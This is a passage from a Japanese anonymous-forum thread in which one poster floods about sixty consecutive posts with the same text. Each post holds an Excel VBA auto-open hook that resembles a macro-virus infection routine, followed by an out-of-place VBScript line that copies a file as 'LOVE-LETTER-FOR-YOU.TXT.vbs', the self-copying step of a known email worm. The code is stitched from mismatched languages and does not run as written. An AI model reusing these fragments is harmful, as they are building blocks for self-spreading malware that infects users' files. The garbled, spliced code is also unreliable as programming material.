544 番組の途中ですが名無しです :2012/01/31(火) 19:19:25 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

545 番組の途中ですが名無しです :2012/01/31(火) 19:19:56 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

546 番組の途中ですが名無しです :2012/01/31(火) 19:20:27 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

547 番組の途中ですが名無しです :2012/01/31(火) 19:21:00 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

548 番組の途中ですが名無しです :2012/01/31(火) 19:21:31 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

549 番組の途中ですが名無しです :2012/01/31(火) 19:22:02 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

550 番組の途中ですが名無しです :2012/01/31(火) 19:22:33 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

551 番組の途中ですが名無しです :2012/01/31(火) 19:23:05 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

552 番組の途中ですが名無しです :2012/01/31(火) 19:23:37 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

553 番組の途中ですが名無しです :2012/01/31(火) 19:24:08 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

554 番組の途中ですが名無しです :2012/01/31(火) 19:24:39 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

555 番組の途中ですが名無しです :2012/01/31(火) 19:25:10 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

556 番組の途中ですが名無しです :2012/01/31(火) 19:25:42 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

557 番組の途中ですが名無しです :2012/01/31(火) 19:26:13 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

558 番組の途中ですが名無しです :2012/01/31(火) 19:26:44 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

559 番組の途中ですが名無しです :2012/01/31(火) 19:27:15 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

560 番組の途中ですが名無しです :2012/01/31(火) 19:27:45 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

561 番組の途中ですが名無しです :2012/01/31(火) 19:28:16 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

562 番組の途中ですが名無しです :2012/01/31(火) 19:28:47 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

563 番組の途中ですが名無しです :2012/01/31(火) 19:29:19 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

564 番組の途中ですが名無しです :2012/01/31(火) 19:29:50 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

565 番組の途中ですが名無しです :2012/01/31(火) 19:30:21 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

566 番組の途中ですが名無しです :2012/01/31(火) 19:30:54 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

567 番組の途中ですが名無しです :2012/01/31(火) 19:31:25 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

568 番組の途中ですが名無しです :2012/01/31(火) 19:31:56 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

569 番組の途中ですが名無しです :2012/01/31(火) 19:32:27 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

570 番組の途中ですが名無しです :2012/01/31(火) 19:32:59 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

571 番組の途中ですが名無しです :2012/01/31(火) 19:33:30 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

572 番組の途中ですが名無しです :2012/01/31(火) 19:34:01 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

573 番組の途中ですが名無しです :2012/01/31(火) 19:34:32 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

574 番組の途中ですが名無しです :2012/01/31(火) 19:35:03 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

575 番組の途中ですが名無しです :2012/01/31(火) 19:35:35 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

576 番組の途中ですが名無しです :2012/01/31(火) 19:36:06 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

577 番組の途中ですが名無しです :2012/01/31(火) 19:36:37 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

578 番組の途中ですが名無しです :2012/01/31(火) 19:37:08 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

579 番組の途中ですが名無しです :2012/01/31(火) 19:37:40 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

580 番組の途中ですが名無しです :2012/01/31(火) 19:38:12 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

581 番組の途中ですが名無しです :2012/01/31(火) 19:38:43 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

582 番組の途中ですが名無しです :2012/01/31(火) 19:39:14 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

583 番組の途中ですが名無しです :2012/01/31(火) 19:39:45 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

584 番組の途中ですが名無しです :2012/01/31(火) 19:40:16 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

585 番組の途中ですが名無しです :2012/01/31(火) 19:40:47 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

586 番組の途中ですが名無しです :2012/01/31(火) 19:41:19 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

587 番組の途中ですが名無しです :2012/01/31(火) 19:41:50 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

588 番組の途中ですが名無しです :2012/01/31(火) 19:42:21 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

589 番組の途中ですが名無しです :2012/01/31(火) 19:42:52 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

590 番組の途中ですが名無しです :2012/01/31(火) 19:43:25 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

591 番組の途中ですが名無しです :2012/01/31(火) 19:43:56 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

592 番組の途中ですが名無しです :2012/01/31(火) 19:44:27 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

593 番組の途中ですが名無しです :2012/01/31(火) 19:44:58 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

594 番組の途中ですが名無しです :2012/01/31(火) 19:45:29 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

595 番組の途中ですが名無しです :2012/01/31(火) 19:46:01 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

596 番組の途中ですが名無しです :2012/01/31(火) 19:46:33 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

597 番組の途中ですが名無しです :2012/01/31(火) 19:47:03 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

598 番組の途中ですが名無しです :2012/01/31(火) 19:47:34 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

599 番組の途中ですが名無しです :2012/01/31(火) 19:48:06 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

600 番組の途中ですが名無しです :2012/01/31(火) 19:48:37 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

601 番組の途中ですが名無しです :2012/01/31(火) 19:49:08 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

602 番組の途中ですが名無しです :2012/01/31(火) 19:49:39 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

603 番組の途中ですが名無しです :2012/01/31(火) 19:50:10 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

604 番組の途中ですが名無しです :2012/01/31(火) 19:50:42 ID:z9m94Fz2
Sub auto_open()

